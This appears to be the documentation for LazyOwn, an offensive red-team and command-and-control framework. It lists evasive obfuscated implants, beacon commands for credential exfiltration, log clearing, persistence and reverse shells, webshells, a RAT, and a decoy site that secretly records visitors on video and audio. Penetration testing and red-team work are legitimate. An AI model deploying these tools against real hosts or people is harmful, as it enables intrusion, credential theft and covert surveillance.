Authorization Scope Guard

A red-team framework that reads its target from payload.json has a sharp edge: a stray rhost fires offensive commands at an unauthorized host. The scope guard is the safety net. Every interactive command flows through a single chokepoint that checks the active target against your authorized engagement scope before the command runs.

(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture

• Fail-open by design: dormant while the scope is empty or the mode is off, so existing campaigns are unaffected until you opt in. Any internal error allows the command rather than blocking the operator.
• warn annotates out-of-scope offensive commands; enforce blocks them pending explicit confirmation (and refuses in non-interactive sessions).
• Only offensive kill-chain categories are gated; reporting, configuration and local helpers always run. New offensive do_* commands are auto-classified.
• Stored in payload.json (scope, scope_enforcement); pure logic lives in cli/scope_guard.py with zero coupling to the shell.

Reproducible installs

Dependencies are declared once in pyproject.toml (single source of truth) and pinned for reproducible installs:

• requirements.txt — cross-platform core lock (no CUDA wheels).
• requirements-ml.txt — optional, heavy ML stack (torch/CUDA, scikit-learn).
• install.sh runs under strict mode and is idempotent. The default install is light; opt into extras with --with-ml (2 GB ML stack), --with-ollama (local LLM runtime) and --with-tools (common external binaries).
• Developers: pip install -e .[ml,dev].

Key Features

1. 606+ Attack Commands: Full kill-chain coverage across Linux, Windows, macOS, and BSD — recon, enum, exploit, privesc, lateral movement, credential access, C2, exfiltration, and reporting.
2. Interactive cmd2 CLI: Fuzzy autocomplete, neon-box configurable prompt, command palette (Ctrl+K), inline reactive hints after every command, and a Textual TUI dashboard.
3. Integrated Marketplace: yara_marketplace (10 built-in rules: ransomware, C2, webshells, obfuscation, privesc), nuclei_marketplace (500+ templates), marketplace for community plugins/addons — all browsable via curses TUI.
4. auto_pwn & hunt: Autonomous exploitation chaining and threat-informed recon — auto_pwn walks kill-chain phases automatically, hunt executes targeted discovery based on known TTPs.
5. Unified Post-Command Tips Engine: Smart suggestions (kill-chain hints, protips, curiosity, autosuggest) with ELO rating, badges (First Blood, Arsenal Master, Kill Chain Master), and VRI rewards — gamified operator experience.
6. Automatic Session Crypto: auto_crypto encrypts sensitive session files on exit and decrypts on startup (PBKDF2HMAC + Fernet), transparent to the operator.
7. AI-Native Architecture: MoE (Mixture of Experts) router, RL training, SWAN orchestrator, Hive Mind multi-agent system, ACI (Autonomous Campaign Intelligence) planner — the first C2 that plans, executes, and learns autonomously.
8. Multi-Stage Obfuscated Go Implants: Two-stage XOR-encoded beacon delivery with C stubs, AES-256 encrypted C2 channels, VM/sandbox/debugger evasion, polymorphism, and LOLBAS-based stagers. Tested on Kernel 6.12 and Windows 10.0.20348.
9. Linux BOF (Beacon Object Files): First open-source C2 framework with BOF support for Linux via ELF dlopen runtime. Source-compatible datap API with Windows BOF contract. Direct syscalls and io_uring support.
10. Decoy Blue Team Trap: Flask decoy website records video/audio and captures images of unauthorized visitors (blue team operators probing the C2), stored in sessions/captured_images.
11. Bloodhound Attack Surface: Upload Bloodhound ZIP data to render interactive attack surface graphs with filtering and search, augmented by lazynmap discovery data.
12. AI-Powered Phishing Engine: Groq/DeepSeek AI-generated email templates with dynamic URL generation, tracking pixels, URL shortening, and test endpoint creation.

---

3. Decoy: if the ip addres not match with 127.0.0.1 or lhost flask will show a decoy website this decoy site will record a video with audio and take pictures from the intruder (sessions/captured_images) like a small versión of storm breaker to know who is the blueteam operator

4. Adversary Simulation: Advanced capabilities for generating red team operation sessions, ensuring meticulous and effective simulations.

5. Task Scheduling: Utilize the cron command to schedule and automate tasks, enabling persistent threat simulations.
6. Real-Time Results: Obtain immediate feedback and results from security assessments, ensuring timely and accurate insights.
7. RAT and Botnet Capabilities: Includes features for remote access and control, allowing for the management of botnets and persistent threats.
8. C2 Framework IA Powered: Acts as a command and control (C2) framework, enabling covert communication and control over compromised systems. and many IA bots to improve your opsec, Developed in Flask, providing a user-friendly interface for seamless interaction. Now with network discovery capabilities, allowing us to see the attack surface on our client map clearly and intuitively with filters and a search panel. New functionalities are coming soon.

• C2 LazyAddon Creator: Guided /addons pages in the C2 dashboard to author lazyaddons/*.yaml integrations without touching YAML by hand. One form exposes every addon option (name, description, author, version, enabled, target OS, trigger services, category, module type, install type, parameters, tool block, C2 extras, environment variables) with tooltips, placeholders, and per-field help. Placeholder chips ({rhost}, {url}, declared params, and every payload.json key) are drag-and-drop into command boxes. Server-side validation rejects unsafe names, path traversal, unknown placeholders, and malformed URLs before the file is written; writes are atomic and secure (temp file created with restrictive permissions via mkstemp + fchmod, flushed and fsynced, then promoted with os.replace). The list and YAML preview pages complete the lifecycle. Every mutating route is CSRF-protected. Contract: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, covered by tests/test_addon_creator.py and the tests/run_mutation_addon_creator.py mutation gate.

9. Undetectable, Obfuscated, and Malleable GO Implants: The command with the payload comes obfuscated by default. Instead of directly downloading the beacon, it downloads a stub created in C to download the beacon, which is XOR-encoded with a key. It is then decoded in memory and executed in a temporary path with a unique name to evade detection, using svchost in Windows and lazyservice in Linux. This performs a two-stage implant, which has been tested on Kernel 6.12 and Windows [Version 10.0.20348.3807]. Additionally, an alternative Windows stub using LOLBAS PS1 and Csharp has been added, along with a version of ebird3 in LOLBAS that uses the same technologies. The Go beacon is a multi-platform, undetectable, and highly obfuscated implant tailored for advanced red teaming operations. It features polymorphism, operates in a configurable stealth mode, and secures communications with AES-256 encrypted channels. The beacon blends into environments by simulating legitimate network traffic and evades detection by identifying virtual machines, sandboxes, containers, and debuggers, dynamically adjusting its behavior. With a minimal footprint, it supports robust network discovery through ping-based host enumeration and port scanning of configured targets. The implant excels at exfiltrating sensitive data, including private keys, AWS credentials, browser credentials, and system logs. It offers dynamic TCP proxying for traffic redirection, privilege escalation attempts, and system log cleaning. Persistence is achieved across Windows, Linux, and macOS via scheduled tasks, systemd, crontab, and LaunchAgents. Additional capabilities include adversary emulation (MITRE ATT&CK), file timestamp obfuscation, and directory compression for exfiltration. Built with Go vet for code health, the implant integrates seamlessly with Dockerized environments and AWS Firecracker microVMs, making it a cornerstone of modern red team infrastructure, Built with Go vet for code integrity, the implant leverages Cloudflare for traffic obfuscation, routing communications through secure, high-performance redirectors to conceal C2 infrastructure. The Go binary is hardened with Garble obfuscation, thwarting reverse engineering and signature-based detection. On Windows, the implant employs extension camouflage to masquerade as benign files (e.g., .pdfx) and embeds custom icons via rsrc for convincing social engineering.

Available beacon commands:

• stealth_off stop being stealthy, Disables stealth mode, allowing normal operations.
• stealth_on enter ninja mode, Enables stealth mode, minimizing activity to avoid detection.
• download: download:[filename] Downloads a file from the C2 to the compromised host.
• upload: [filename]: Uploads a file from the compromised host to the C2.
• rev: Establishes a reverse shell to the C2 using the configured port.
• exfil: Exfiltrates sensitive data (e.g., SSH keys, AWS credentials, command histories).
• download_exec: download_exec:[url]: Downloads and executes a binary from a URL (Linux only, stored in /dev/shm).
• obfuscate: [filename]: Obfuscates file timestamps to hinder forensic analysis.
• cleanlogs: Clears system logs (e.g., /var/log/syslog on Linux, event logs on Windows).
• discover: Performs network discovery, identifying live hosts via ping.
• adversary:[id_atomic]: Executes an adversary emulation test (MITRE ATT&CK) using downloaded atomic redteam framework scripts.
• softenum: Enumerates useful software on the host (e.g., docker, nc, python).
• netconfig: Captures and exfiltrates network configuration (e.g., ipconfig on Windows, ifconfig on Linux).
• escalatelin: Attempts privilege escalation on Linux (e.g., via sudo -n or SUID binaries).
• proxy:[listenip]:[listenport]:[targetip]:[targetport] Starts a TCP proxy redirecting traffic from listenAddr to targetAddr.
• stop_proxy:[listenaddr] Stops a TCP proxy on the specified address.
• portscan: Scans ports on discovered hosts and the configured rhost.
• compressdir:[directory]: Compresses a directory into a .tar.gz file and exfiltrates it.
• sandbox: Get info about the system if it's a sandbox or not.
• isvm: Get info about the system if it's a virtual machine or not.
• debug: Get info about the system if the target is debugged or not.
• persist: Try to persist mechanism in the target system.

---

v0.2.158 Highlights

Unified kill-chain (single source of truth)

• modules/killchain.py computes the phase; every surface (CLI /killchain, /api/killchain, C2 /api/data+/api/dashboard, GUI2 panel) renders its snapshot().
• Beacon command history per implant: /api/beacon_results/<client_id>, backed by modules/beacon_history.py (JSONL, path-safe).
• CLI /killchain auto on|off|N live auto-refresh; flags killchain_auto_every / killchain_auto_on_phase_change.
• C2 decrypts session state on boot and re-encrypts on clean exit, so beacons and the kill-chain reflect real values while the server runs.

Marketplace (YARA + Nuclei)

Browse, search, and install from a unified marketplace TUI:

• yara_marketplace list|search|install|info -- 10 built-in rules (ransomware, C2, webshells, obfuscation, privesc)
• nuclei_marketplace list|search|install|info -- 500+ templates from ~/nuclei-templates
• marketplace list|search|install|update -- 120+ YAML addons, 56 plugins, 69 tools

auto_pwn & hunt

• auto_pwn -- autonomous kill-chain walk from recon to exploitation
• hunt -- threat-informed recon: maps known TTPs to discovered services

Reactive Intelligence

• Post-command tips engine: kill-chain hints, protips, curiosity rewards
• ELO rating, badges (First Blood, Arsenal Master, Kill Chain Master)
• Inline reactive hints: "next command" suggestions after every action

Auto Crypto

Transparent session encryption on exit / decryption on startup via PBKDF2HMAC + Fernet.

New Playbooks

7 APT profiles: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.

Interactive Chain Mode

chainmode on starts a world-model-driven chaining flow: after every command the shell offers ranked next steps (Enter = top suggestion, 1..N = ranked alternative, any command = override, skip = manual, ESC/Ctrl+C/off = leave). Invalid picks re-prompt instead of silently skipping, and the flow auto-pauses after max_steps chained commands. State persists in sessions/chain_mode.json (atomic writes). Contract: cli/chain_mode.py + cli/command_chain.py.

Feature Polish (UX + security hardening)

• Evidence-backed inline hints: every suggestion carries verb, confidence ([0, 99], never a dishonest 100%), reason, and provenance. Contract: cli/reactive_hints.py + cli/recommendation_signals.py.
• Unified tips engine rendered entirely through rich (no raw ANSI escapes); registry tip text can never break markup rendering. Contract: cli/tips_engine.py.
• cli/noise_verbs.py is the single source of truth for the non-actionable verb lists shared by hints, tips, and chain mode.
• Tenant-bound API keys: core/api_authz.py now implements the documented rotation grace window, copies permissions from the rotated key (regression fixed), returns JSON 401/403 (safe with TRAP_HTTP_EXCEPTIONS), and the C2 /api/health/tenant endpoint is actually enforced. Mutation gate: tests/run_mutation_api_authz.py (7/7 killed).
• core/logging.py install_json_handler preserves pre-existing handlers and is idempotent.
• Structured ELO sync honours redirected user-store paths and tests are host-login independent.

---

Command Capabilities

LazyOwn provides 606+ commands across 13 kill-chain phases, available from both CLI and web C2 dashboard:

Phase	Highlight Commands
Recon	lazynmap, ping, whatweb, gobuster, ffuf, dig, dnsenum, finalrecon
Enum	enum4linux, cme, bloodhound, nuclei, kerbrute, ldapdomaindump
Exploit	auto_pwn, hunt, ss (searchsploit), venom, lazymsfvenom, searchhash
Post-Exploit	linpeas, winpeas, blacksandbeacon, mimikatzpy, disableav
Persistence	persist, backdoor, cron, schtask, createwebshell
PrivEsc	getcap, sudo, adcs_check, privesc_predictor
Cred Access	secretsdump, evil, getnpusers, hashcat, john, spraykatz
Lateral	psexec, wmiexec, ssh_cmd, chisel, ligolo, bloodhound
Exfil	exfil, upload_gofile, encrypt/decrypt, compressdir
C2	lazyc2, blacksandbeacon, createrevshell, listener_go
Reporting	report, lazyreport, campaign_sitrep, timeline, dashboard
AI/Agents	auto_loop, recommend_next, playbook_generate, playbook_run, orchestrate
Marketplace	yara_marketplace, nuclei_marketplace, marketplace, lab

Core management: assign, show, doctor, wizard, scope, collab_join, config_banner, palette, fz.

See COMMANDS.md for the full 606-command reference and ESSENTIALS.md for the 18 commands that cover 80% of engagements.

Extending LazyOwnShell with Lua Plugins

This document explains how to use Lua scripting to extend the functionality of the LazyOwnShell application, which is built on top of the cmd2 framework in Python. Lua allows you to write custom plugins that can add new commands, modify existing behavior, or access application data.

---

Table of Contents

1. Introduction
2. Setting Up Lua Plugins
3. Writing Lua Plugins
4. Registering New Commands
5. Accessing Application Data
6. Error Handling
7. Example Plugins
8. Best Practices

---

1. Introduction

The LazyOwnShell application supports Lua scripting to allow users to extend its functionality without modifying the core Python code. Lua scripts (plugins) are stored in the plugins/ directory and are automatically loaded when the application starts.

Lua plugins can:

• Add new commands to the shell.
• Modify existing commands or behaviors.
• Access and manipulate application data exposed by Python.

---

2. Setting Up Lua Plugins

To use Lua plugins, ensure the following:

1. Install the lupa library in your Python environment:

   pip install lupa
   

   plugins/
        init_plugins.lua
        hello.lua
        goodbye.lua
   

   When the application starts, it will execute init_plugins.lua, which loads all other .lua files in the plugins/ directory.

2. Writing Lua Plugins A Lua plugin is a script file with the .lua extension placed in the plugins/ directory. Each plugin can define functions and register them as commands in the shell.

Structure of a Lua Plugin

 -- Define a function for the new command
 function my_command(arg)
     -- Your logic here
     print("This is a new command: " .. (arg or "default"))
 end

 -- Register the function as a command
 register_command("my_command", my_command)

Key Functions

• register_command(command_name, lua_function):
• Registers a new command in the shell.
• command_name: The name of the command (e.g., hello).
• lua_function: The Lua function to execute when the command is called.

3. Registering New Commands

   To add a new command to the shell, follow these steps:

• Define a Lua function that implements the command logic.

• Use register_command to register the function as a command.

• Example: Adding a hello Command

• Create a file plugins/hello.lua with the following content:

   function hello(arg)
       local name = arg or "world"
       print("Hello, " .. name .. "!")
   end
  
   register_command("hello", hello)
  

Now, you can run the hello command in the shell: bash hello Lua Hello, Lua! 4. Best Practices

• Keep Plugins Modular : Each plugin should focus on a single feature or functionality.
• Document Your Plugins : Provide clear documentation for each plugin, including usage examples.
• Test Thoroughly : Test your plugins in isolation before integrating them into the main application.
• Handle Errors Gracefully : Use pcall to handle errors in Lua plugins and prevent crashes.

By leveraging Lua scripting, you can extend the functionality of LazyOwnShell without modifying the core Python code. This allows for greater flexibility and customization, enabling users to write their own plugins to meet specific needs. Happy coding!

LazyAddons YAML System

Extending the LazyOwn RedTeam Framework's capabilities has never been so easy, even for non-programmers, thanks to the LazyAddons system that allows for extending functionalities using YAML files.

Declarative command creation through YAML configuration files.

File Structure

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ Addon Definition

Minimal Example

name: "shortname"  # CLI command (do_shortname)
enabled: true
description: "Tool description for help system"

tool:
  name: "Full Tool Name"
  repo_url: "https://github.com/user/repo"
  install_path: "tools/toolname"
  execute_command: "python tool.py -u {url}"

Advanced Configuration

params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Features Auto-Installation Tools clone from Git when missing:

git clone <repo_url> <install_path>

Parameter Substitution Replaces {param} in commands with values from:

• Command arguments

• Default values

• self.params

• Help Integration

help displays the YAML description.

Template

name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

▶️ Usage Place YAML files in lazyaddons/

Start your CLI application

Execute registered commands:

(Cmd) help your_command
(Cmd) your_command -args

🚨 Troubleshooting Missing parameters: Verify required fields in YAML

Install failures: Check network/git access

Command errors: Validate execute_command syntax

Key features:

• Clean GitHub-flavored markdown
• Focused only on YAML addons
• Includes ready-to-use templates
• Documents the parameter substitution system
• Provides troubleshooting tips

Would you like me to add any specific examples or usage scenarios?

LazyOwn on Reddit

Revolutionize Your Pentesting with LazyOwn: Automate the intrusion on Linux, MAC OSX, and Windows VICTIMS

https://www.reddit.com/r/LazyOwn/

https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a

Discover LazyOwn, the ultimate solution for automating the pentesting workflow to attack Linux, MacOSX and Windows systems. Our powerful tool simplifies pentesting, making it more efficient and effective. Watch this video to learn how LazyOwn can streamline your security assessments and enhance your cybersecurity toolkit.

LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

LazyOwn is ideal for cybersecurity professionals seeking a centralized and automated solution for their pentesting needs, saving time and enhancing efficiency in identifying and exploiting vulnerabilities.

Requisitos

• Python 3.x

• Módulos de Python:

  • requests
  • python-libnmap
  • pwncat-cs
  • pwn
  • groq
  • PyPDF2
  • docx
  • python-docx
  • olefile
  • exifread
  • pycryptodome
  • impacket
  • pandas
  • colorama
  • tabulate
  • pyarrow
  • keyboard
  • flask-unsign
  • name-that-hash
  • certipy-ad
  • ast
  • pykeepass
  • cmd2
  • Pillow
  • netaddr
  • stix2
  • pyautogui

• subprocess (incluido en la biblioteca estándar de Python)

• platform (incluido en la biblioteca estándar de Python)

• tkinter (Opcional para el GUI)

• numpy (Opcional para el GUI)

Instalación

1. Clona el repositorio:

git clone https://github.com/grisuno/LazyOwn.git
cd LazyOwn

2. Instala las dependencias de Python:

./install.sh

Uso

./run or ./fast_run_as_r00t.sh

./run --help
    [;,;] LazyOwn vvvrelease/0.2.8
    Usage: ./run [Options]
    Options:
      --help             Show this help panel.
      -v                 Show version.
      -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams)
      -c <command>       Exec a command using LazyOwn example: ping
      --no-banner        No Banner
      -s                 Run as root
      --old-banner       Show old Banner


./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help

01. Reconnaissance
──────────────────
alterx        finalrecon       ping             trace                  
apache_users  getcap           ports            trufflehog             
binarycheck   gospider         proxy            tshark_analyze         
cve           graudit          recon            waybackmachine         
dig           httprobe         serveralive2     whatweb                
dnschef       ipinfo           sherlock         windapsearchscrapeusers
dnsenum       launchpad        sslscan        
dnsmap        metabigor        tcpdump_capture
dnstool_py    openssl_sclient  tcpdump_icmp   

02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum  enum4linux_ng     nbtscan              rpcdump             wpscan
allin         evil_ssdp         net_rpc_addmem       rpcmap_py         
amass         feroxbuster       netexec              samrdump          
arjun         finger_user_enum  netview              sawks             
arpscan       fuzz              nikto                sessionssh        
batchnmap     getnpusers        nmapscript           skipfish          
bbot          gobuster          nuclei               smbattack         
blazy         hound             odat                 smbclient         
bloodhound    kerbrute          openredirex          smbclient_impacket
breacher      lazynmap          osmedeus             smbclient_py      
certipy       ldapdomaindump    parsero              smbmap            
certipy_ad    ldapsearch        parth                smtpuserenum      
changeme      lookupsid         portdiscover         snmpcheck         
cme           lookupsid_py      portservicediscover  snmpwalk          
davtest       loxs              pre2k                swaks             
dirsearch     lynis             pykerbrute           vscan             
dmitry        magicrecon        rdp_check_py         wfuzz             
enum4linux    mqtt_check_py     rpcclient            windapsearch      

03. Exploitation
────────────────
aclpwn_py         gettgtpkinit_py  psexec            sqlmap                    
addspn_py         greatSCT         psexec_py         sqsh                      
autoblody         img2cookie       py3ttyup          ss                        
cacti_exploit     jwt_tool         pyautomate        sshexploit                
commix            krbrelayx_py     pyoracle2         template_helper_serializer
cp                kusa             pywhisker         ticketer                  
createcookie      lazypwn          rejetto_hfs_exec  unicode_WAFbypass         
createdll         lfi              rev               upload_bypass             
digdug            lol              seo               utf                       
download_exploit  ms08_067_netapi  sharpshooter      winbase64payload          
downloader        ntpdate          shellfire         wrapper                   
eternal           owneredit        shellshock        www                       
excelntdonut      padbuster        sireprat          xss                       
filtering         powerserver      sqli              xsstrike                  
gets4uticket_py   printerbug_py    sqli_mssql_test 

04. Post-Exploitation
─────────────────────
add2find                     exe2bin              pezorsh              
adversary                    exe2donutbin         pip_proxy            
adversary_yaml               extract_yaml         pip_repo             
aes_pe                       find                 powershell_cmd_stager
ai_playbook                  follina              rmfromfind           
apt_proxy                    hex2shellcode        rubeus               
apt_repo                     internet_proxy       scavenger            
atomic_lazyown               issue_command_to_c2  scp                  
bin2shellcode                lazywebshell         service_ssh          
convert_remcomsvc_from_file  mimikatzpy           sessionsshstrace     
cports                       msfshellcoder        shellcode            
create_synthetic             ofuscate_string      shellcode2elf        
createpayload                ofuscatesh           shellcode2sylk       
d3monizedshell               ofuscatorps1         shellcode_search     
disableav                    path2hex             ssh_cmd              

05. Persistence
───────────────
asprevbase64       ftp                msfpc                 setoolKits
backdoor_factory   generate_revshell  paranoid_meterpreter  ssh       
conptyshell        grisun0            pwncat                toctoc    
createrevshell     grisun0w           pwncatcs              veil      
createwebshell     ivy                rdp                   weevely   
createwinrevshell  knokknok           revwin                weevelygen
darkarmour         listener_go        scarecrow           
dr0p1t             listener_py        service             

06. Privilege Escalation
────────────────────────
responder  smbserver

07. Credential Access
─────────────────────
addusers                cred          john2hash        rocky           
adsso_spray             creds_py      john2keepas      searchhash      
cewl                    crunch        john2zip         smalldic        
crack_cisco_7_password  cubespraying  keepass          spraykatz       
createcredentials       dacledit      medusa           sshkey          
createhash              generatedic   passtightvnc     sudo            
createmail              hashcat       passwordspray    transform       
createusers_and_hashs   hydra         refill_password  username_anarchy

08. Lateral Movement
────────────────────
addcli     id_rsa           penelope         sshd               wifipass  
bloodyAD   lateral_mov_lin  regeorg          stormbreaker       wmiexec   
chisel     ligolo           rnc              targetedKerberoas  wmiexecpro
dcomexec   mssqlcli         set_proxychains  tord             
getTGT     nc               shadowsocks      upload_c2        
gospherus  ngrok            socat            vpn              

09. Data Exfiltration
─────────────────────
adgetpass    dploot    evilwinrm     getuserspns  reg_py    secretsdump  
decrypt      encrypt   getadusers    gitdumper    rsync     unzip        
download_c2  evidence  getnthash_py  gmsadumper   samdump2  upload_gofile

10. Command & Control
─────────────────────
atomic_agent  automsf     emp3r0r                mitre_test   sliver_server
atomic_gen    c2          empire                 msf        
atomic_tests  caldera     generate_playbook      msfrpc     
attack_plan   duckyspark  iis_webdav_upload_asp  my_playbook

11. Reporting
─────────────
apropos                  createtargets          gpt             process_scans
banners                  download_malwarebazar  groq            pth_net      
c2asm                    extract_ports          img2vid         pup          
camphish                 eyewitness             malwarebazar    vulns        
create_session_json      eyewitness_py          morse         
createjsonmachine        get_avaible_actions    name_the_hash 
createjsonmachine_batch  gowitness              nmapscripthelp

12. Miscellaneous
─────────────────
acknowledgearp   clone_site          getseclist        links         run      
acknowledgeicmp  cron                graph             list          sh       
addhosts         decode              h                 load_session  show     
aliass           download_resources  hex_to_plaintext  nano          sys      
assign           encode              ignorearp         news          tab      
banner           encoderpayload      ignoreicmp        payload       urldecode
base64decode     encodewinbase64     ip                pwd           urlencode
base64encode     exit                ip2asn            qa            v        
check_update     fixel               ip2hex            rhost       
clean            fixperm             kick              rot         
clock            gencert             lazyscript        rotf        

13. Lua Plugin
──────────────
generate_c_reverse_shell          lolbas_certutil_download_exec
generate_cleanup_commands         lolbas_certutil_exe          
generate_html_payload             lolbas_mshta_js              
generate_lateral_command          lolbas_mshta_reverse_shell   
generate_linux_asm_reverse_shell  lolbas_rundll32_dll          
generate_linux_raw_shellcode      lolbas_wmic_xsl_execution    
generate_lolbird                  parse_nmap_with_xmlstarlet   
generate_msfvenom_loader          run_nuclei_on_nmap_files     
generate_msfvenom_loader_windows  run_python_rev_c2            
generate_reverse_shell            rundll32_sct_from_url        
generate_stub                     validate_shellcode           
kerberos_harvest                  visualize_network            
lolbas_bitsadmin_exe            

14. Yaml Addon.
───────────────
AdaptixC2                 GoPEInjection      OverRide
agentzero                 gosearch           peeko
argfuscator               gui                pretender
ATTPwn                    gui2               PTMultiTools
AuroraPatch               hack_browser_data  PTMultiTools_scan
banner_tool               hellbird           PyinMemoryPE
bbr                       hive               pyrit
beacon                    hooka_linux_amd64  raven
blacksandbeacon           hostdiscover       ridenum
blacksandbeacon_bof       kivi_revshell      setoolkit
cgoblin_windows           laps               ShadowLink
Clematis                  lazyaddon_creator  shellcode_custom_win_rev_tcp_xored
commix2                   lazyagentAi        SigPloit
copy-fail-CVE-2026-31431  lazybinenc         spoonmap
CVE-2022-22077            lazyftpsniff       stratus_detonate
CVE_2025_24071_PoC        LazyLoader         stratus_list
demiguise                 lazymapd           toposwarm
ebird3                    lazyownbt          unicorn
evilginx2                 LazyOwnExplorer    upxdump
gcr                       llm                vulnbot
gemini-cli                NullGate           vulnbot_groq
gen_dll_rev               oniux              vulnhuntr
Get_ReverseShell          opencode_adapter   watchguard
githubot                  orpheus            wspcoerce
gomulti_loader_linux
gomulti_loader_windows

15. Adversary YAML.
───────────────────
amsi_c            implant_nim_nim  infect_c     pid_c  
implant_crypt_go  implant_rust_rs  persist_ps1  shell_c

16. Artificial Intelligence
───────────────────────────
ai_toggle

Uncategorized Commands
──────────────────────
addalias          gobuster_dns   ipy             ollama_enum   set          
alias             gobuster_http  listaliases     pop           shell        
edit              gobuster_web   macro           quit          shortcuts    
EOF               help           nikto_host      rrhost        subwfuzz_tool
ffuf_enumeration  history        notify          run_pyscript
ffuf_tool         ipp            nuclei_ad_http  run_script  

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ 

Tag in youtube

https://www.youtube.com/hashtag/lazyown

Podcast

https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ

DeepWiki

https://deepwiki.com/grisuno/LazyOwn/

LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

For searching within the scraped database obtained from GTFOBins.

python3 lazysearch.py binario_a_buscar

Searches with GUI

Additional Features and Enhancements: AutocompleteEntry:

A filter has been added to remove None values from the autocomplete list. New Attack Vector:

A "New Attack Vector" button has been added to the main interface. Functionality has been implemented to add a new attack vector and save the updated data in Parquet files. Export to CSV:

A "Export to CSV" button has been added to the main interface. Functionality has been implemented to export DataFrame data to a user-selected CSV file. Usage:

Add a New Attack Vector: Click the "New Attack Vector" button, fill in the fields, and save. Export to CSV: Click the "Export to CSV" button and select the location to save the CSV file. New Function scan_system_for_binaries:

Implements system-wide binary searches using the file command to determine if a file is binary. Uses os.walk to traverse the file system. Results are displayed in a new window within the GUI. Button to Search for Binaries:

A "Search System for Binaries" button has been added to the main interface, which calls the scan_system_for_binaries function. Note:

The is_binary function uses the Unix file command to determine if a file is a binary executable. If you are on a different operating system, you will need to adjust this method for compatibility. This implementation can be resource-intensive as it traverses the entire file system. You may consider adding additional options to limit the search to specific directories or filter for certain file types.

python3 LazyOwnExplorer.py

python3 lazyown.py

If you want to update, we proceed as follows:

cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

Use mode LazyOwn WebShells

LazyOwn Webshell Collection is a collection of webshells for our framework, which allows us to establish a webshell on the machine where we run LazyOwn using various programming languages. Essentially, LazyOwn Webshell raises a web server within the modules directory, making it accessible via a web browser. This allows us to both make the modules available separately through the web and access the cgi-bin directory, where there are four shells: one in Bash, another in Perl, another in Python, and one in ASP, in case the target is a Windows machine.

lazywebshell

y listo ya podemos acceder a cualquiera de estas url:

http://localhost:8080/cgi-bin/lazywebshell.sh

http://localhost:8080/cgi-bin/lazywebshell.py

http://localhost:8080/cgi-bin/lazywebshell.asp

http://localhost:8080/cgi-bin/lazywebshell.cgi

Use Lazy MSFVenom to Reverse Shell

Executes the `msfvenom` tool to generate a variety of payloads based on user input.

This function prompts the user to select a payload type from a predefined list and runs the corresponding
`msfvenom` command to create the desired payload. It handles tasks such as generating different types of
payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.

The generated payloads are moved to a `sessions` directory, where appropriate permissions are set. Additionally,
the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK,
the function will also sign the APK and perform necessary post-processing steps.

:param line: Command line arguments for the script.
:return: None

run lazymsfvenom or venom

Command & Control System

The Command & Control (C2) system enables remote operations through a server-client architecture with encrypted communications.

Use Lazy PATH Hijacking

A file will be created in /tmp with the name binary_name set in the payload, initialized with gzip in memory, and using bash in the payload. To set the payload from the JSON, use the payload command to execute. Use:

lazypathhijacking

Use mode LazyOwn RAT

LazyOwn RAT is a simple yet powerful Remote Administration Tool. It features a screenshot function that captures the server's screen, an upload command that allows us to upload files to the compromised machine, and a C&C mode where commands can be sent to the server. It operates in two modes: client mode and server mode. There is no obfuscation, and the RAT is based on BasicRat. You can find it on GitHub at https://github.com/awesome-security/basicRAT and at https://github.com/hash3liZer/SillyRAT. Although the latter is much more comprehensive, I just wanted to implement screenshot capture, file uploads, and command sending. Perhaps in the future, I will add webcam viewing functionality, but that will come later.

usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

Use mode Lazy Meta Extract0r

